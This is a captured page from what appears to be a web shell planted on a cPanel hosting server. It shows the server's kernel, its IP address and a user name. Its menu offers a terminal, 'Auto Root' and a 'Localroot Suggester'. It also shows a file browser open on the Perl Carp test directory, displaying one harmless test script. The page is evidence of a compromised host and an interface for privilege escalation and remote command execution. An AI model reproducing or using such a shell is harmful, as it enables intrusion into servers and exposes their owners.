Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Carp /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
Carp.t
10.98
KB
-r--r--r--
2014-12-27 11:48
Carp_overload.t
1.4
KB
-r--r--r--
2014-12-27 11:48
arg_regexp.t
2.69
KB
-r--r--r--
2014-12-27 11:48
arg_string.t
1.43
KB
-r--r--r--
2014-12-27 11:48
baduni.t
232
B
-r--r--r--
2014-12-27 11:48
baduni_warnings.t
269
B
-r--r--r--
2014-12-27 11:48
errno.t
1.23
KB
-r--r--r--
2014-12-27 11:48
heavy.t
294
B
-r--r--r--
2014-12-27 11:48
heavy_mismatch.t
276
B
-r--r--r--
2014-12-27 11:48
stash_deletion.t
2.08
KB
-r--r--r--
2014-12-27 11:48
swash.t
99
B
-r--r--r--
2014-12-27 11:48
vivify_gv.t
873
B
-r--r--r--
2014-12-27 11:48
vivify_stash.t
818
B
-r--r--r--
2014-12-27 11:48
with_warnings.t
168
B
-r--r--r--
2014-12-27 11:48
Save
Rename
BEGIN { print "1..5\n"; } our $has_utf8; BEGIN { $has_utf8 = exists($::{"utf8::"}); } our $has_overload; BEGIN { $has_overload = exists($::{"overload::"}); } our $has_B; BEGIN { $has_B = exists($::{"B::"}); } use Carp; sub { sub { Carp::longmess("x") }->() }->(\1, "\x{2603}", qr/\x{2603}/); print !(exists($::{"utf8::"}) xor $has_utf8) ? "" : "not ", "ok 1\n"; print !(exists($::{"overload::"}) xor $has_overload) ? "" : "not ", "ok 2\n"; print !(exists($::{"B::"}) xor $has_B) ? "" : "not ", "ok 3\n"; # Autovivify $::{"overload::"} () = \$::{"overload::"}; () = \$::{"utf8::"}; eval { sub { Carp::longmess() }->(\1) }; print $@ eq '' ? "ok 4\n" : "not ok 4\n# $@"; # overload:: glob without hash undef *{"overload::"}; eval { sub { Carp::longmess() }->(\1) }; print $@ eq '' ? "ok 5\n" : "not ok 5\n# $@"; 1;